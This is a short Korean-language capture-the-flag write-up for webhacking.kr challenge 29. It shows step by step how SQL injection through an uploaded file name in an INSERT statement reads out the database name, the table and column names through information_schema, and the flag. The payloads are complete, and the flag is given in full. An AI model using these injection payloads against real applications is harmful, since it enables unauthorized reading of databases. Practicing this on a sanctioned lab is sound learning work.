webhacking.kr 29번 풀이
1. flag는 다른 테이블에 있다.
2. 현재 테이블에는 time, ip, file 컬럼이 존재한다.
이 문제는 sql의 문법을 이용해서 푼다.
insert into 테이블명 values ('id1', 'pw1'),('id2', 'pw2')
같이 한번에 두 값이 들어갈 수 있다는 것을 알아야 한다.
먼저 파일 명을 file_name', 'time', 'ip주소')# 로 설정해서 보낸다.
1','123', 'ip_address')# 로 보내보았다. (ip는 자신의 것을 꼭 사용해야 함. )
그러면 시간, ip주소, 파일 이름 순으로 정보가 정상적으로 나온다.
이를 통해 우리는 칼럼 순서가 시간, ip, 파일 이름이라는 것을 알 수 있다.
그럼 이제 2가지 정보를 보내보자.
file_name1', 'time', 'ip주소'), ('file_name2', 'time', 'ip주소')#
를 파일 이름으로 하여 보내보았다. (time은 123으로 입력함)
제출 결과 정상적인 것을 확인할 수 있다.
자 그럼 이제 해킹구문을 넣도록 하자.
1. DB명 알아내기
1', '123', '220.81.160.152'), ((SELECT database()), '123', '220.81.160.152')#
--> DB명: chall29
2. table명 알아내기
*group_concat함수 사용 --> 참고: https://fruitdev.tistory.com/16
1', '123', '220.81.160.152'), ((SELECT group_concat(table_name) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'chall29'), '123', '220.81.160.152')#
--> table명: files, flag)congratz
3. column명 알아내기
1', '123', '220.81.160.152'), ((SELECT column_name from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_name = 'flag_congratz'), '123', '220.81.160.152')#
--> column명: flag
3. flag 알아내기
1', '123', '220.81.160.152'), ((select flag from flag_congratz), '123', '220.81.160.152')#
--> flag: FLAG{didYouFeelConfused?_sorry:)}
그렇게 구한 flag를 auth 페이지에 입력해주면 성공!!